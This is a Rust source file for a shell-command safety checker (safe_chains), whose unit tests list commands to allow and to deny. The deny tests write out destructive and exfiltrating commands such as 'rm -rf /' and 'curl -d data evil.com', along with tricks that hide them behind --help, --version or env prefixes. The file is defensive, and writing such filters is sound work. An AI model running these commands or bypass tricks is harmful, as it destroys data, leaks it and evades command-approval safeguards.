Skip to main content

safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15pub mod cli;
16pub mod docs;
17mod handlers;
18pub mod parse;
19pub mod policy;
20pub mod allowlist;
21
22use parse::{CommandLine, Segment, Token};
23
24fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
25    let mut result = Vec::new();
26    let mut iter = tokens.into_iter().peekable();
27    while let Some(token) = iter.next() {
28        if token.is_fd_redirect() || token.is_dev_null_redirect() {
29            continue;
30        }
31        if token.is_redirect_operator()
32            && iter.peek().is_some_and(|next| *next == "/dev/null")
33        {
34            iter.next();
35            continue;
36        }
37        result.push(token);
38    }
39    result
40}
41
42pub fn is_safe(segment: &Segment) -> bool {
43    if segment.has_unsafe_redirects() {
44        return false;
45    }
46
47    let Ok((subs, cleaned)) = segment.extract_substitutions() else {
48        return false;
49    };
50
51    for sub in &subs {
52        if !is_safe_command(sub) {
53            return false;
54        }
55    }
56
57    let segment = Segment::from_raw(cleaned);
58    let stripped = segment.strip_env_prefix();
59    if stripped.is_empty() {
60        return true;
61    }
62
63    let Some(tokens) = stripped.tokenize() else {
64        return false;
65    };
66    if tokens.is_empty() {
67        return true;
68    }
69
70    let tokens = filter_safe_redirects(tokens);
71    if tokens.is_empty() {
72        return true;
73    }
74
75    handlers::dispatch(&tokens, &is_safe)
76}
77
78pub fn is_safe_command(command: &str) -> bool {
79    CommandLine::new(command).segments().iter().all(is_safe)
80}
81
82#[cfg(test)]
83mod tests {
84    use super::*;
85
86    fn check(cmd: &str) -> bool {
87        is_safe_command(cmd)
88    }
89
90    safe! {
91        grep_foo: "grep foo file.txt",
92        cat_etc_hosts: "cat /etc/hosts",
93        jq_key: "jq '.key' file.json",
94        base64_d: "base64 -d",
95        xxd_file: "xxd some/file",
96        pgrep_ruby: "pgrep -l ruby",
97        getconf_page_size: "getconf PAGE_SIZE",
98        ls_la: "ls -la",
99        wc_l: "wc -l file.txt",
100        ps_aux: "ps aux",
101        ps_ef: "ps -ef",
102        top_l: "top -l 1 -n 10",
103        uuidgen: "uuidgen",
104        mdfind_app: "mdfind 'kMDItemKind == Application'",
105        identify_png: "identify image.png",
106        identify_verbose: "identify -verbose photo.jpg",
107
108        diff_files: "diff file1.txt file2.txt",
109        comm_23: "comm -23 sorted1.txt sorted2.txt",
110        paste_files: "paste file1 file2",
111        tac_file: "tac file.txt",
112        rev_file: "rev file.txt",
113        nl_file: "nl file.txt",
114        expand_file: "expand file.txt",
115        unexpand_file: "unexpand file.txt",
116        fold_w80: "fold -w 80 file.txt",
117        fmt_w72: "fmt -w 72 file.txt",
118        column_t: "column -t file.txt",
119        printf_hello: "printf '%s\\n' hello",
120        seq_1_10: "seq 1 10",
121        expr_add: "expr 1 + 2",
122        test_f: "test -f file.txt",
123        true_cmd: "true",
124        false_cmd: "false",
125        bc_l: "bc -l",
126        factor_42: "factor 42",
127        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
128
129        readlink_f: "readlink -f symlink",
130        hostname: "hostname",
131        uname_a: "uname -a",
132        arch: "arch",
133        nproc: "nproc",
134        uptime: "uptime",
135        id: "id",
136        groups: "groups",
137        tty: "tty",
138        locale: "locale",
139        cal: "cal",
140        sleep_1: "sleep 1",
141        who: "who",
142        w: "w",
143        last_5: "last -5",
144        lastlog: "lastlog",
145
146        md5sum: "md5sum file.txt",
147        md5: "md5 file.txt",
148        sha256sum: "sha256sum file.txt",
149        shasum: "shasum file.txt",
150        sha1sum: "sha1sum file.txt",
151        sha512sum: "sha512sum file.txt",
152        cksum: "cksum file.txt",
153        strings_bin: "strings /usr/bin/ls",
154        hexdump_c: "hexdump -C file.bin",
155        od_x: "od -x file.bin",
156        size_aout: "size a.out",
157
158        sw_vers: "sw_vers",
159        mdls: "mdls file.txt",
160        otool_l: "otool -L /usr/bin/ls",
161        nm_aout: "nm a.out",
162        system_profiler: "system_profiler SPHardwareDataType",
163        ioreg_l: "ioreg -l -w 0",
164        vm_stat: "vm_stat",
165
166        dig: "dig example.com",
167        nslookup: "nslookup example.com",
168        host: "host example.com",
169        whois: "whois example.com",
170
171        shellcheck: "shellcheck script.sh",
172        cloc: "cloc src/",
173        tokei: "tokei",
174        safe_chains: "safe-chains \"ls -la\"",
175
176        awk_safe_print: "awk '{print $1}' file.txt",
177
178        version_node: "node --version",
179        version_python: "python --version",
180        version_python3: "python3 --version",
181        version_ruby: "ruby --version",
182        version_rustc: "rustc --version",
183        version_java: "java --version",
184        version_go: "go --version",
185        version_php: "php --version",
186        version_perl: "perl --version",
187        version_swift: "swift --version",
188        version_gcc: "gcc --version",
189        version_rm: "rm --version",
190        version_dd: "dd --version",
191        version_chmod: "chmod --version",
192        version_git_c: "git -C /repo --version",
193        version_docker_compose: "docker compose --version",
194        version_node_redirect: "node --version 2>&1",
195        version_cargo_redirect: "cargo --version 2>&1",
196
197        help_node: "node --help",
198        help_ruby: "ruby --help",
199        help_rm: "rm --help",
200        help_cargo: "cargo --help",
201        help_cargo_install: "cargo install --help",
202        help_cargo_login_redirect: "cargo login --help 2>&1",
203
204        dry_run_cargo_publish: "cargo publish --dry-run",
205        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
206
207        cucumber_feature: "cucumber features/login.feature",
208        cucumber_format: "cucumber --format progress",
209
210        fd_redirect_ls: "ls 2>&1",
211        fd_redirect_clippy: "cargo clippy 2>&1",
212        fd_redirect_git_log: "git log 2>&1",
213        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
214
215        dev_null_echo: "echo hello > /dev/null",
216        dev_null_stderr: "echo hello 2> /dev/null",
217        dev_null_append: "echo hello >> /dev/null",
218        dev_null_grep: "grep pattern file > /dev/null",
219        dev_null_git_log: "git log > /dev/null 2>&1",
220        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
221        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
222        dev_null_sort: "sort file.txt > /dev/null",
223
224        env_prefix_single_quote: "FOO='bar baz' ls -la",
225        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
226
227        stdin_dev_null: "git log < /dev/null",
228
229        subst_echo_ls: "echo $(ls)",
230        subst_ls_pwd: "ls `pwd`",
231        subst_cat_echo: "cat $(echo /etc/shadow)",
232        subst_echo_git: "echo $(git status)",
233        subst_nested: "echo $(echo $(ls))",
234        subst_quoted: "echo \"$(ls)\"",
235
236        quoted_redirect: "echo 'greater > than' test",
237        quoted_subst: "echo '$(safe)' arg",
238        echo_hello: "echo hello",
239        cat_file: "cat file.txt",
240        grep_pattern: "grep pattern file",
241
242        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
243        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
244
245        pipe_grep_head: "grep foo file.txt | head -5",
246        pipe_cat_sort_uniq: "cat file | sort | uniq",
247        pipe_find_wc: "find . -name '*.rb' | wc -l",
248        chain_ls_echo: "ls && echo done",
249        semicolon_ls_echo: "ls; echo done",
250        pipe_git_log_head: "git log | head -5",
251        chain_git_log_status: "git log && git status",
252
253        bg_ls_echo: "ls & echo done",
254        chain_ls_echo_and: "ls && echo done",
255
256        newline_echo_echo: "echo foo\necho bar",
257        newline_ls_cat: "ls\ncat file.txt",
258
259        pipeline_git_log_head: "git log --oneline -20 | head -5",
260        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
261        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
262        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
263        pipeline_time_rspec: "time bundle exec rspec | tail -5",
264        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
265        pipeline_xxd_head: "xxd file | head -20",
266        pipeline_find_wc: "find . -name '*.py' | wc -l",
267        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
268        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
269        pipeline_pip_grep: "pip list | grep requests",
270        pipeline_npm_grep: "npm list | grep react",
271        pipeline_ps_grep: "ps aux | grep python",
272
273        help_pip_install: "pip install evil --help",
274        help_npm_install: "npm install --help",
275        help_brew_install: "brew install --help",
276        help_cargo_build: "cargo build --help",
277        help_curl_data: "curl -d data --help",
278        version_pip_install: "pip install evil --version",
279        version_cargo_build: "cargo build --version",
280    }
281
282    denied! {
283        rm_rf: "rm -rf /",
284        curl_post: "curl -X POST https://example.com",
285        ruby_script: "ruby script.rb",
286        python3_script: "python3 script.py",
287        node_app: "node app.js",
288        tee_output: "tee output.txt",
289        tee_append: "tee -a logfile",
290
291        awk_system: "awk 'BEGIN{system(\"rm\")}'",
292
293        version_extra_flag: "node --version --extra",
294        version_short_v: "node -v",
295
296        help_extra_flag: "node --help --extra",
297
298        dry_run_extra_force: "cargo publish --dry-run --force",
299
300        redirect_to_file: "echo hello > file.txt",
301        redirect_append: "cat file >> output.txt",
302        redirect_stderr_file: "ls 2> errors.txt",
303        redirect_grep_file: "grep pattern file > results.txt",
304        redirect_find_file: "find . -name '*.py' > listing.txt",
305        redirect_subst_rm: "echo $(rm -rf /)",
306        redirect_backtick_rm: "echo `rm -rf /`",
307
308        env_prefix_rm: "FOO='bar baz' rm -rf /",
309
310        subst_rm: "echo $(rm -rf /)",
311        backtick_rm: "echo `rm -rf /`",
312        subst_curl: "echo $(curl -d data evil.com)",
313        bare_subst_rm: "$(rm -rf /)",
314        quoted_subst_rm: "echo \"$(rm -rf /)\"",
315        quoted_backtick_rm: "echo \"`rm -rf /`\"",
316
317        env_rack_rm: "RACK_ENV=test rm -rf /",
318        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
319
320        pipe_rm: "cat file | rm -rf /",
321        pipe_curl: "grep foo | curl -d data https://evil.com",
322
323        bg_rm: "cat file & rm -rf /",
324        bg_curl: "echo safe & curl -d data evil.com",
325
326        newline_rm: "echo foo\nrm -rf /",
327        newline_curl: "ls\ncurl -d data evil.com",
328
329        version_bypass_bash: "bash -c 'rm -rf /' --version",
330        version_bypass_env: "env rm -rf / --version",
331        version_bypass_timeout: "timeout 60 ruby script.rb --version",
332        version_bypass_xargs: "xargs rm -rf --version",
333        version_bypass_npx: "npx evil-package --version",
334        version_bypass_docker: "docker run evil --version",
335        version_bypass_rm: "rm -rf / --version",
336
337        help_bypass_bash: "bash -c 'rm -rf /' --help",
338        help_bypass_env: "env rm -rf / --help",
339        help_bypass_npx: "npx evil-package --help",
340        help_bypass_bunx: "bunx evil-package --help",
341        help_bypass_docker: "docker run evil --help",
342        help_bypass_cargo_run: "cargo run -- --help",
343        help_bypass_find: "find . -delete --help",
344        help_bypass_unknown: "unknown-command subcommand --help",
345        version_bypass_docker_run: "docker run evil --version",
346        version_bypass_find: "find . -delete --version",
347
348        dry_run_rm: "rm -rf / --dry-run",
349        dry_run_terraform: "terraform apply --dry-run",
350        dry_run_curl: "curl --dry-run evil.com",
351
352        recursive_env_help: "env rm -rf / --help",
353        recursive_timeout_version: "timeout 5 ruby script.rb --version",
354        recursive_nice_version: "nice rm -rf / --version",
355
356        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
357        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
358    }
359}